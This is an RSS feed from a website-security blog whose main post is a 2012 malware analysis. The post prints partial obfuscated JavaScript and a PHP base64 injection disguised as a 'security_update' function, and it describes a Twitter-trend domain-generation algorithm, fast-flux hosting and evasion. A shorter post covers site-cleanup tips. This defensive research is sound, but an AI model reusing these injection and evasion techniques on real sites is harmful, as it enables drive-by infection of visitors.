<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Unmask Parasites. Blog.</title>
	
	<link>http://blog.unmaskparasites.com</link>
	<description>Website insecurity by example</description>
	<lastBuildDate>Thu, 26 Jan 2012 10:56:06 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/unmaskparasites" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="unmaskparasites" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">unmaskparasites</feedburner:emailServiceId><feedburner:feedburnerHostname xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Lorem Ipsum and Twitter Trends in Malware</title>
		<link>http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/</link>
		<comments>http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 10:45:15 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[DNS-DIY]]></category>
		<category><![CDATA[gloa]]></category>
		<category><![CDATA[lorem ipsum]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[obfuscated script]]></category>
		<category><![CDATA[OnlineNIC]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=860</guid>
		<description><![CDATA[A couple of years ago I wrote about malware attacks that used Twitter API to generate domain names for their malicious sites using trending topics as keys in the domain generating algorithm.

Each domain was in use for a few hours only
The next domain names would become available just a few hours before the malicious scripts [...]]]></description>
			<content:encoded><![CDATA[<p>A couple of years ago I wrote about <a href="http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts/">malware attacks</a> t<a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/">hat used Twitter API</a> to generate domain names for their malicious sites using trending topics as keys in the domain generating algorithm.</p>
<ul>
<li>Each domain was in use for a few hours only</li>
<li>The next domain names would become available just a few hours before the malicious scripts on hacked sites begin to use them.</li>
</ul>
<p>Since 2009, I&#8217;ve seen many revisions of that attack. It has never been the most prevalent issue but as far as I can tell it constantly evolves and mutates. The recent update of the malicious script injected by this attack looked quite interesting and I decided to find out what has changed since late 2009.<br />
<span id="more-860"></span></p>
<h3 id="scripts">Malicious scripts</h3>
<p>First of all, here&#8217;s the malicious script that was used in December (<a href="http://pastebin.com/gzqcwU5w" target="_blank">full version</a>)</p>
<p><code>(function($$){qq2=[8,0,26,0,11,81,29,0,26,<strong>...skipped...</strong>87,73,78];qq21=[68,79,87,27,0,9,<strong>...skipped...</strong>39,7,9,10];function co(){return 'Code';}function gafu(){return a(String,'f'+ro()+co());}qq3=[94,39,7,9,10,94,<strong>...skipped...</strong>76,73];qq31=[84,8,7,7,0,19,<strong>...skipped...</strong>0,16,27,54];d='';mapper=[3,32,54,56,64,<strong>...skipped...</strong>24,0,25,0,26,0,27];map='';function fs(ro,arr,add){for(var i=0;i&lt;arr.length;i++){ro+=String.fromCharCode(arr[i]+add);}return ro;}d=fs(d,qq2,32);d=fs(d,qq21,32);d=fs(d,qq3,32);d=fs(d,qq31,32);map=fs(map,mapper,32);function a(b,c){return b[c];};function ro(){return 'romChar';}for(c=55;c;d=(t=d.split(map.substr(c-=(x=c&lt;9?1:2),x))).join(t.pop()));$$(d)})(fun ction(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});</code></p>
<p>It was a long obfuscated one-line script with  long sequences of numbers. More or less, this is what those scripts always looked like. One line of a long obfuscated code, usually at the very bottom or very top of the HTML code of infected web pages.</p>
<p>On PHP sites, this script was injected in a form of an obfuscated PHP code (<a href="http://pastebin.com/36NC4Ugy" target="_blank">full version</a>):</p>
<p><code>ob_start("<strong>security_update</strong>"); function <strong>security_update</strong>($buffer){return $buffer.<strong>base64_decode</strong>('PHNjcmlwdD4oZnVuY3Rpb24oJ<strong>...skipped...</strong>Sk7PC9zY3JpcHQ+');}</code></p>
<p>Quite a typical <strong>base64_decode</strong> obfuscation trick, although disguised by the <strong>security_update</strong> function name to make this code look more legitimate.</p>
<h3 id="2012">January 2012 code mutation</h3>
<p>However in January, the code changed (it is still detectable by <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>). Besides some algorithmic changes, the malicious script now consists of <strong>78</strong> lines of code generously sprinkled with comments in <strong>Latin</strong>!!! Here you can <a href="http://pastebin.com/j8PNeSHC" target="_blank">see the full version</a>.</p>
<p><code>(function($$,_2,_1) {<br />
function qq2(){return [89,75,80,70,81,89,16,73,78,81,<strong>...skipped...</strong>11,93,2,29,13,10,13,96,71,2,18,29,56];}<br />
function co() { return 'Code';}<br />
<strong>...skipped...</strong><br />
mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2<strong>...skipped...</strong>27,2,28,2,29];<br />
map = '';<br />
function fs(ro, arr, add, st, en,dp) {<br />
<span style="color: #808000;"><em>//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem</em></span><br />
<strong>...skipped...</strong><br />
<span style="color: #808000;"><em>//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis</em></span><br />
<strong>...skipped...</strong><br />
<span style="color: #808000;"><em>//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi</em></span><br />
<strong>...skipped...</strong><br />
<span style="color: #808000;"><em>//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland</em></span><br />
<strong>...skipped...</strong><br />
<span style="color: #808000;"><em>//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur</em></span><br />
<strong>...skipped...</strong><br />
})(function(jsBb) {<br />
return (function(jsB, jsBs) {<br />
return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()<br />
})((function(jsB) {<br />
return jsB.constructor<br />
}), (function(jsB) {<br />
return (function(jsBs) {<br />
<span style="color: #808000;"><em>//accumsan dapibus diam</em></span><br />
<strong>...skipped...</strong><br />
});<br />
/**/<br />
<strong>gloa</strong>();</code></p>
<p>For some reason, hackers thought that comments in Latin would make their code look more legitimate, more reputable. But for me, the Latin comments were like a huge alert message &#8212; who would want to use Latin in JavaScript comments? It just doesn&#8217;t make sense.</p>
<h3 id="lorem">Lorem Ipsum</h3>
<p>Moreover, after some inspection, the Latin text appeared to be a random mixture of word from the classic &#8220;<a href="http://en.wikipedia.org/wiki/Lorem_ipsum">Lorem Ipsum</a>&#8221; text. This text is used as a placeholder text in publishing and graphic design to have people focus on the visual presentation of elements rather than reading the text.  But I doubt someone cares about visual presentation of a normally invisible html code and there is no point in providing comments if they are unreadable.</p>
<h3 id="sustainability">Making the attack sustainable</h3>
<p>Anyway, this change in the formatting of the malicious script was probably one of the multiple tricks that aimed to improve the whole sustainability of the attack. In this case, they changed the code so that it doesn&#8217;t resemble a typical malicious script with a single line of an obfuscated code. The goal is to increase the infection period (time before a webmaster identifies the source of a problems and removes the script).</p>
<p>However malicious scripts on infected web pages is not the only thing that contributes to success of an attack. Most drive-by attacks rely on some third-party malicious sites where malware is being actually loaded from. Such sites have domain names and IP addresses that can be easily blacklisted by antivirus software, browsers and firewalls &#8212; this can significantly affect the attack performance. Moreover, authorities can suspend offending domains and request hosting providers to shut down malicious sites and whole servers. This attack uses several interesting solutions to address such threats.</p>
<h3 id="algo">Generating domain names on the fly</h3>
<p>To avoid blacklisting, hackers have to frequently change domain names of  their malware distributing websites. This particular attack rather than regularly        updating injected scripts to use new links to malware sites, uses Twitter API (trends) and a clever algorithm         to generate new pseudo-random domain names of attack sites on the  fly.</p>
<p>It&#8217;s a new version of the algorithm that I <a href="http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts/">described two years ago</a>. Here&#8217;s an overview of this new algorithm.</p>
<ol>
<li> It uses Twitter API (<span style="color: #000080;">http://api.twitter.com/1/trends/daily.json</span>) to get a list of trending topics that were hot two days ago.</li>
<li> Depending on the current time, it extracts the fourth topic from the list of trends for one of the following hours: <strong>01:00</strong>, <strong>07:00</strong>, <strong>13:00</strong> or <strong>19:00</strong> (in some rare cases they may use  <strong>02:00</strong>, <strong>08:00</strong>, <strong>14:00</strong> or <strong>20:00</strong>)</li>
<li>The extracted trending topic is used as a key in a domain name generating algorithm.</li>
<li>The algorithm just returns a permutation of characters in the key and uses the first <strong>10-13</strong> of them as a new domain name.</li>
<li>To address edge cases where a trending topic is less than <strong>10</strong> characters long and to improve the random nature of permutations, they append the word &#8220;<strong>microscope</strong>&#8221; to the trending topic before applying the algorithm.</li>
<li>As a result, the algorithm generates domain names like: <em><span style="color: #993300;">dgeocanyaf .com</span></em>, <em><span style="color: #993300;">ocooecunrpbn .com</span></em>, <em><span style="color: #993300;">snrrstrcocri .com</span></em> (<a href="http://pastebin.com/EcRgmZj9" target="_blank">more domain names here</a>), that change every <strong>6</strong> hours. The attackers have almost two days to register them (they register them just a few hours before the use though).</li>
<li>Then the script builds a URL of a malicious page, adding the &#8220;<em><span style="color: #993300;">/index.php?tp=001e4bb7b4d7333d</span></em>&#8221; path to the generated domain names. The resulting URL is used to create an invisible iframe that pushes exploits to web browsers of people who visit infected web pages.</li>
</ol>
<p>The benefit of this approach is the attack can easily survive if some  domain is blocked or unavailable for some reason &#8212; it only means not  more than <strong>6</strong> hours of downtime. On the other hand, if  someone reverse engineers the algorithm (like I did) they can use the  same algorithm to blacklist or sinkhole the domain names before they  become malicious.</p>
<h3 id="new">So what&#8217;s new comparing to that two year old version of the attack?</h3>
<p>The main differences from the <a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/#new_algo">previously described algorithm</a>, are:</p>
<p>1. Hardcoded year 2012. This proves that the attack is still active and the attackers don&#8217;t want to abandon this Twitter based approach to generate domain names.</p>
<p>2.  Instead of just <strong>2</strong> domains, they generate and use <strong>4</strong> new domains every day, and change them every <strong>6</strong> hours.</p>
<p>3. The domain generating algorithm no longer uses predefined suffixes for the generated domains. They used to have <a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/#domain_info">12 month-specific predefined suffixes</a> that helped easily identify the attack when you knew where the infected page tried to load the malicious content from. The current algorithm generates completely random domain names that don&#8217;t have any easily identifiable parts that can help classify them as belonging to this attack.</p>
<h3 id="demo">Online Demo</h3>
<p>To show how this domain generating algorithm works, I&#8217;ve create an<a href="http://www.unmaskparasites.com/security-tools/twitter-malware-domain-generator.html" target="_blank"> online tool</a> that uses the same algorithm to predict malicious domains in real time. It shows <strong>4</strong> today&#8217;s malicious domains and predicts <strong>4</strong> domains that should be used by the attack tomorrow (more or less, depending on your time zone).</p>
<p>To make it more informative, I&#8217;ve provided two links for each domain name</p>
<ol>
<li><strong>Whois</strong> &#8212; to show whether the domain is registered and if it is then show who and when registered it (in most cases you&#8217;ll see the current date)</li>
<li><strong>Google&#8217;s Safe Browsing diagnostic</strong> &#8212; to show whether Google has already picked up the malicious domain (this usually happens by the end of the 6-hour lifespan of that domain)</li>
</ol>
<p>Just to make this tool a little bit less boring, each domain name is accompanied by a corresponding Twitter trending topic that was used to generate that domain name.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/01/predicted-malicious-domains.jpg" border="0" alt="predicted malicious domains" /></div>
<p>For example, as I write this article on January 25th, the current malicious domain is &#8220;<span style="color: #993300;">dgeocanyaf .com</span>&#8221; and the corresponding Twitter trending topic from January 23rd is &#8220;<span style="color: #333333;"><strong><em>Happy Year of the Dragon</em></strong></span>&#8220;. The domain was <a href="http://www.whois-search.com/whois/dgeocanyaf.com" target="_blank">registered on January 25th, 2012</a> and Google already lists it as <a href="http://www.google.com/safebrowsing/diagnostic?site=dgeocanyaf.com" target="_blank">suspicious</a>.</p>
<p>The upcoming malicious domain is &#8220;<span style="color: #993300;">epljsxiomccg .com</span>&#8221; and the corresponding Twitter topic is &#8220;<em><strong><span style="color: #333333;">Judge Alex</span></strong>&#8220;</em>. The domain is already <a href="http://www.whois-search.com/whois/epljsxiomccg.com" target="_blank">registered</a> but Google doesn&#8217;t list it as suspicious (no wonder &#8211; it is not active yet).</p>
<p>The first predicted domain for January 26th (GMT time zone) is &#8220;<span style="color: #993300;">mrrcatsphmoin .com</span>&#8221; and the corresponding trending topic from January 24th is &#8220;<span style="color: #333333;"><strong><em>Mr. and Mrs. Smith</em></strong></span>&#8220;. This domain is not registered yet (it should be by the time when you read this article) and Google doesn&#8217;t know about it yet.</p>
<p>If you are interested in the code of the algorithm, you can check the source code of the web page of <a href="http://www.unmaskparasites.com/security-tools/twitter-malware-domain-generator.html" target="_blank">this online tool</a>.</p>
<h3 id="onlinenic">OnlineNIC Domain Resellers</h3>
<p>If you analize the Whois information for those domains, you can see that they all have been registered via <a href="http://www.onlinenic.com">OnlineNIC Inc</a>. To register domains, the attackers used a few supposedly fake accounts &#8211; all of them marked as &#8220;<strong>reseller</strong>&#8220;.</p>
<p>So what does it mean to be an OnlineNiC&#8217;s domain reseller?</p>
<p>1. Anyone can <a href="http://www.onlinenic.com/domain-reseller/">register</a> to be a reseller. The prices begin from $94 of prepayment (you can use them later to purchase domains).</p>
<p>2.  OnlineNIC provides &#8220;<em>an <strong>API/template system</strong> to make it a snap for you to get started. In a matter of minutes, you can easily integrate private-labeled real-time domain name registration services right into your own Web site!</em>&#8221;</p>
<p>So what is that API? According to the documentation: &#8220;<em>The <strong>application program interface (API)</strong> is a set of routines and criterion and protocols by OnlineNIC. &#8230; It makes you and your client easier to</em><br />
<em><strong>complete products purchase, management</strong>, and info-query and so on via API.</em>&#8221;</p>
<p>Here are just a few things that this API allows to do:</p>
<ul>
<li>Check domain availability</li>
<li>Register domain</li>
<li>Create Name Servers</li>
<li>Update domain Name Servers</li>
</ul>
<p>So, resellers can use this API to create a program that will  automatically purchase and manage domains. That&#8217;s a perfect solution for this attack, isn&#8217;t it?</p>
<h3 id="dns">DNS-DIY</h3>
<p>The reseller account comes with free <a href="http://www.onlinenic.com/dnsdiy/">DNS-DIY</a> DNS service that allows to manage A records and customize Name Servers (&#8220;<em>Add the domain which you are using as dns at www.DNS-DIY.net, then create CNAME Records for ns1.yourcompany.com and ns2.yourcompany.com so that they can be pointed to ns1.DNS-DIY.net and ns2.DNS-DIY.net.</em>&#8221; &#8211; that&#8217;s why you can see ns(1|2).malicious-domain.com as Name Servers of those malicious domains in Whois) There should be no surprise that DNS-DIY has an API too &#8212; so all operations can be automated.</p>
<h3 id="fastflux">Zombie-computers as fast flux hosting</h3>
<p>The DNS-DIY API is used for a good reason. Not only do the attackers need it to initially configure new domains to point to certain servers, but they also use it to avoid taking down the malware distributing servers.</p>
<p>This attack uses a technique called <a href="http://en.wikipedia.org/wiki/Fast_flux">Fast flux hosting</a> (if I use this term correctly). Here&#8217;s how it works.</p>
<p>When the attackers register a new domain, they create two A records for each domain. This means that each domain points to two different IPs and it&#8217;s up to your DNS software which of them to use.</p>
<p>These two A-records help achieve two goals:</p>
<ul>
<li>load balancing &#8211; the traffic is split between two servers</li>
<li>if one server is shut down or unavailable for some reason, the other server will still be processing requests.</li>
</ul>
<p>However, it is not the most interesting thing in the fast-flux scheme. After all, the second server can be shut down too. The most interesting thing is how the attackers choose which two IPs to use in A records.</p>
<p>The thing is the IP addresses in the A records change every <strong>6</strong> hours, the same way as they change the domain names used in this attack.</p>
<p>Here is a list of <a href="http://pastebin.com/aULdDSiZ" target="_blank">120 unique IP addresses</a> that I collected over the last few days (not only did they use them for new domains but also updated A records of some older domains).  The analysis of those IPs shows that they all belong to IP blocks of cable, broadband and even wireless ISPs from all around the world:</p>
<ul>
<li>Australia Melbourne Telstra Internet</li>
<li>Austria		        Linz		        Liwest Kabelfernsehen Errichtungs- Und Betriebs Ges.m.b.h</li>
<li>Austria Vienna Oebb Telekom Service Gmbh</li>
<li>France		        Paris		        Free Sas</li>
<li>Germany Kabel Deutschland Breitband Service Gmbh</li>
<li>Germany Leipzig Primacom Berlin Gmbh</li>
<li>Italy Chieti Telecom Italia S.p.a</li>
<li>Italy Telecom Italia Mobile</li>
<li>Netherlands Amsterdam Upc Broadband Operations B.v,</li>
<li>Netherlands Barneveld Matrix Pc B.v</li>
<li>Philippines		        Makati		        Pldt</li>
<li>Poland Telewizja Kablowa Kolobrzeg Agencja Uslugowo &#8211; Reklamowa Sp. Z O.o</li>
<li>United States		        Richmond		        Comcast Cable Communications Inc</li>
<li>United States		        Houston		        AT&amp;T Internet Services</li>
<li>United States		        Kyle		        Road Runner Holdco Llc</li>
<li>Venezuela, Bolivarian Republic Of Barquisimeto Internet Cable Plus C. A,</li>
<li>and many more &#8230;</li>
</ul>
<p>This proves that instead of real web servers, the malicious domains point to infected computers of normal web surfers, so called bots or zombie-computer.  This approach is not new. For example, two years ago I described how <a href="http://blog.unmaskparasites.com/2010/02/27/web-of-koobface/">Koobface used web servers</a> <a href="http://blog.unmaskparasites.com/2010/02/27/web-of-koobface/#pc">on infected PCs</a>.</p>
<h3 id="nginx">Nginx reverse proxies</h3>
<p>If you check HTTP header of responses from the malicious sites, you&#8217;ll notice that they all have the same &#8220;Server: <strong>nginx/0.7.65</strong>;  <strong> </strong>X-Powered-By: <strong>PHP/5.3.2-1ubuntu4.10</strong>&#8221; headers.</p>
<p>Although the headers suggest that the remote computer runs Ubuntu Linux distribution, it is hard to believe that hackers found so many vulnerable Ubuntu workstations all over the world connected to the Internet via regular ISP services. Moreover, they all have the same versions of Ubuntu, PHP and Nginx.</p>
<p>The answer to this is <a href="http://wiki.nginx.org/Main">Nginx</a>. This is a popular web server known to easily handle large volumes of traffic. It is popular within cyber criminals both for its ability to reliably work under heavy load and for it&#8217;s <strong>reverse-proxy</strong> feature that helps to hide the real malware distributing server behind the layer of proxies.</p>
<h3 id="scenario">The most probable scenario</h3>
<p>Cyber criminals have a program on a C&amp;C (command and control) server that is scheduled to do the following things:</p>
<ol>
<li>Use their domain generating algorithm and the OnlineNIC API to register a new domains.</li>
<li>Then ping their botnet and identify a few zombie-computers with reliable Internet connections and public IP addresses.</li>
<li>Using the DNS-DIY API, setup DNS records for the new domain. Specifically create two A records that point to two zombie-computers selected in the step 2.</li>
<li>For some older domains, update A records with new IPs selected in the step 2.</li>
<li>For more old domains, remove one A record and point the other to 127.0.0.1 or remove it altogether (dispose of the domain)</li>
<li>There is an Nginx web server on every zombie-computer. (There is a <a href="http://nginx.org/en/docs/windows.html">Windows version of Nginx</a>) that processes requests to malicious URLs (<span style="color: #993300;"><em>hxxp://malicious-domain .com/ <strong>index.php?tp=001e4bb7b4d7333d</strong></em></span>)</li>
<li>Nginx servers on zombie-computers work in a reverse proxy mode. They transmit every request to some remote server that actually distributes the malware and then return that server&#8217;s response back to clients (in our case to web browsers that loaded infected web pages). The &#8220;PHP/5.3.2-1ubuntu4.10&#8243; header is actually from that remote server (reverse proxies pass most headers from the proxied servers).</li>
</ol>
<h3 id="counter">Counter measures</h3>
<p>It is clear that the attack constantly evolves and changes but given its current state it is possible to identify its weak sides and suggest some counter measures.</p>
<ol>
<li>Hijack the domain generating algorithm. Interested parties can blacklist domains before they turn malicious (or at the very moment) or register them before the criminals do it. Of course, the algorithm will change, but it doesn&#8217;t take long to reverse engineer it and it will take quite some time for hackers to update their infrastructure to use a new algorithm and update the malicious code on all infected web pages.</li>
<li>Have OnlineNIC close the reseller accounts that the cyber criminals used for registering those domain names. If you check the Whois records of the domains, you&#8217;ll see that they were registered using the same few accounts (<a href="http://pastebin.com/pt1MHqFK" target="_blank">some of them</a>).  Of course, it is possible to register new reseller accounts, but if OnlineNIC agrees to cooperate, it will be easy to close rogue accounts as soon as they begin register new malicious domains. It is clear, that the attack infrastructure relies on APIs of OnlineNIC and DNS-DIY, so if they can&#8217;t use them it may disrupt the attack.</li>
<li>Don&#8217;t let the parasites use your resources.  Keep your computers and websites malware-free.</li>
</ol>
<p>I can&#8217;t tell for sure how exactly the malicious code is being injected into legitimate web pages (I couldn&#8217;t find webmasters of infected sites who would want to help me in my investigation <span style="color: #808080;">:(</span> ), but I see some signs that the attack could use <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">stolen FTP credentials</a>. If this is true, webmasters should thoroughly scan they computers for malware, change all site passwords (and refrain from saving them in FTP clients) and then  remove the malicious code from files on server.</p>
<p>##</p>
<p>Additional information and your comments are welcome.</p>
<p><strong>Similar posts:</strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts/">Hackers Use Twitter API To Trigger Malicious Scripts</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/">Twitter API Still Attracts Hackers</a></li>
<li><a href="http://www.abuse.ch/?p=3387">How Criminals Defend Their Rogue Networks</a> &#8211; abuse.ch</li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=eX_qGT3nUHw:cEQtZKHGxWU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=eX_qGT3nUHw:cEQtZKHGxWU:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=eX_qGT3nUHw:cEQtZKHGxWU:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=eX_qGT3nUHw:cEQtZKHGxWU:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Matt Cutts on Malware</title>
		<link>http://blog.unmaskparasites.com/2012/01/11/matt-cutts-on-malware/</link>
		<comments>http://blog.unmaskparasites.com/2012/01/11/matt-cutts-on-malware/#comments</comments>
		<pubDate>Wed, 11 Jan 2012 11:32:00 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Unmask Parasites]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[Matt Cutts]]></category>
		<category><![CDATA[SQL-injection]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=856</guid>
		<description><![CDATA[

Video highlights:

Use Safe Browsing diagnostics &#8212; false positives are very unlikely
http://www.google.com/safebrowsing/diagnostic?site=&#60;your-site-URL-here&#62;


The problem might have been caused by a third-party content (ads, widgets) that you use on your site
But in most cases the problem is in the malicious content/behavior added by hackers.


Malware review via Google Webmaster Tools.

prove ownership
use the  Diagnositics -&#62; Malware section for information on [...]]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="560" height="315" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/7GStGcTeo20?version=3&amp;hl=en_US" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="560" height="315" src="http://www.youtube.com/v/7GStGcTeo20?version=3&amp;hl=en_US" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><span id="more-856"></span><br />
Video highlights:</p>
<ol>
<li>Use Safe Browsing diagnostics &#8212; false positives are very unlikely<br />
<em><span style="color: #000080;">http://www.google.com/safebrowsing/diagnostic?site=<span style="color: #ff6600;">&lt;your-site-URL-here&gt;<br />
</span></span></em></p>
<ul>
<li>The problem might have been caused by a third-party content (ads, widgets) that you use on your site</li>
<li>But in most cases the problem is in the malicious content/behavior added by hackers.</li>
</ul>
</li>
<li>Malware review via <a href="http://www.google.com/webmasters/tools/">Google Webmaster Tools</a>.
<ul>
<li>prove ownership</li>
<li>use the  <strong>Diagnositics -&gt; Malware</strong> section for information on malware issues (e.g. examples of URL were malware was found, and samples of the found malicious content)</li>
<li>Once you fix the problem, click on the &#8220;<strong>request a review</strong>&#8221; link &#8212; your site will be reviewed during the next few hours.</li>
</ul>
</li>
<li><a href="http://support.google.com/webmasters/bin/answer.py?hl=en&amp;answer=158587">Fetch as Googlebot</a>. &#8211; useful tool to diagnose security problems when hackers hide malicious content from normal human visitors and only show it for search engine spiders (<a href="http://blog.unmaskparasites.com/tag/cloaking/">cloaking</a>) &#8212; this is quite a prevalent type of website hacks (part of massive Black Hat SEO campaigns).</li>
<li><strong>.htaccess</strong> &#8212; is a <a href="http://blog.unmaskparasites.com/tag/htaccess/">popular target</a> of website hacks. For example, hackers can add conditional rules to redirect all search engine traffic to a third-party website.</li>
<li>SQL-injections &#8212; another trick where hackers can exploit bugs in web applications that fail to properly sanitize user input &#8212; as a result, malicious content can be injected into site&#8217;s database.</li>
<li>Finding malware may be tricky.
<ul>
<li>Don&#8217;t only check the source code of your web pages. Check what browsers receive from your web server (both the page code and the HTTP headers).</li>
<li>You might want to play with different scenarios. <strong>Warning</strong>: <em>please use specialized tools and do it only in a controlled sandboxed environment, otherwise malware may infect your computer.</em>
<ul>
<li>direct visit</li>
<li>visit from a search engine</li>
<li>visit with clean cookies (first time visit)</li>
<li>visit using different browsers (IE, Firefox, Chrome)</li>
<li>visit from from different IPs and countries</li>
</ul>
</li>
</ul>
</li>
<li>Keep your system up to date.</li>
<li>Change passwords.</li>
<li><a href="http://www.UnmaskParasites.com/">Unmask Parasites</a> :) -  Matt called <a href="http://blog.unmaskparasites.com/">this site</a> a <em>&#8220;really useful place to talk about all the different attacks that are currently going on&#8221;</em>.</li>
</ol>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=otElfjE0suY:zRhv9nCWbq0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=otElfjE0suY:zRhv9nCWbq0:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=otElfjE0suY:zRhv9nCWbq0:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=otElfjE0suY:zRhv9nCWbq0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/01/11/matt-cutts-on-malware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Selected Tweets (Oct-Nov 2011)</title>
		<link>http://blog.unmaskparasites.com/2011/11/21/selected-tweets-oct-nov-2011/</link>
		<comments>http://blog.unmaskparasites.com/2011/11/21/selected-tweets-oct-nov-2011/#comments</comments>
		<pubDate>Mon, 21 Nov 2011 15:11:26 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[canonical]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[MyBB]]></category>
		<category><![CDATA[safe browsing]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=854</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.
It has been a while since the last Tweet Week. The main reason is I don&#8217;t tweet that often now to post my tweets every week and I don&#8217;t want to post old news here either.
So what happened? The answer [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t follow me on Twitter.</span></em></p>
